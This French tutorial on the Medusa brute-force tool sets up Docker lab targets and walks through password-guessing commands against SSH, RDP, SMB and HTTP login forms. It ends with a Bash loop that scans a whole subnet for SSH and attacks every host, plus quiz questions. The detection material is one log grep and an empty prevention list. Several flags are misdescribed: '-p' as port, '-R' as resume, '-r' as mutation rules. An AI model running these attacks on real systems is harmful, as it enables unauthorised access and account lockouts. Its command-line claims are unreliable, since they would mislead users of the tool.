De l'installation à l'automatisation de campagnes de brute‑force avancées, avec détection et prévention.
Medusa est un outil de brute‑force réseau, souvent comparé à Hydra. Sa force réside dans sa capacité à exécuter des attaques massivement parallèles, en utilisant plusieurs threads pour tester simultanément différentes cibles ou utilisateurs. Contrairement à Hydra, Medusa adopte une approche modulaire, où chaque protocole est un module indépendant.
Points clés :
Pour pratiquer, nous déployons des services vulnérables dans des conteneurs Docker :
# SSH (mot de passe faible)
docker run -d --name ssh-target -p 2222:22 -e PASS=admin123 rastasheep/ubuntu-sshd
# RDP
docker run -d --name rdp-target -p 3389:3389 scottyhardy/docker-rdp
# SMB (impacket)
docker run -d --name smb-target -p 445:445 dperson/samba -p
Notez les adresses : 192.168.56.1 (hôte) avec les ports mappés.
Medusa est préinstallé sur Kali. Sur d’autres distributions :
sudo apt install medusa
Vérification :
medusa -V
Aide complète :
medusa -h
Syntaxe générale :
medusa -h <cible> -u <utilisateur> -P <liste_mots_de_passe> -M <module> [options]
Exemple simple : attaque SSH avec un utilisateur unique et une liste de mots de passe.
medusa -h 192.168.56.1 -p 2222 -u root -P /usr/share/wordlists/rockyou.txt -M ssh
Modules disponibles :
medusa -d
medusa -h 192.168.56.1 -p 2222 -U users.txt -P passwords.txt -M ssh -t 4
Le paramètre -t 4 limite le nombre de threads.
medusa -h 192.168.56.1 -u administrator -P passwords.txt -M rdp -n 3389
Attention, RDP peut déclencher des verrouillages de compte. Utilisez des délais : -w 5 (5 secondes entre tentatives).
medusa -h 192.168.56.1 -U users.txt -P passwords.txt -M smbnt
Module http. On doit spécifier l'URL, les champs, le message d'échec.
medusa -h 192.168.56.1 -U users.txt -P passwords.txt -M http -m POST -m FORM:"login.php:user=^USER^&pass=^PASS^:Incorrect"
Le dernier paramètre indique le formulaire, les variables, et la chaîne d'échec.
En cas d'interruption, Medusa enregistre sa progression (medusa.sav). Pour reprendre :
medusa -h 192.168.56.1 -u root -P passwords.txt -M ssh -R
Medusa peut combiner des règles de mutation (comme John the Ripper). Exemple : ajouter "123" à chaque mot.
medusa -h 192.168.56.1 -u root -P passwords.txt -M ssh -r rules.txt
Le fichier rules.txt contient par exemple : $1$2$3.
Fichier targets.txt contenant ip:port. Chaque ligne est attaquée dans un thread séparé.
medusa -H targets.txt -u admin -P passwords.txt -M ssh -t 10
Les tentatives de brute‑force laissent des traces dans les logs. Sur un serveur SSH :
grep "Failed password" /var/log/auth.log | wc -l
Outils de prévention :
Script Bash pour scanner un sous‑réseau à la recherche de SSH ouvert, puis lancer Medusa.
#!/bin/bash
for ip in 192.168.56.{1..254}; do
nc -z -w1 $ip 22 && medusa -h $ip -u root -P pass.txt -M ssh -t 2
done
1. Quel paramètre permet de reprendre une session Medusa interrompue ?
2. Comment spécifier un port différent du port par défaut pour SSH ?
3. Quel outil peut bloquer une IP après des échecs répétés ?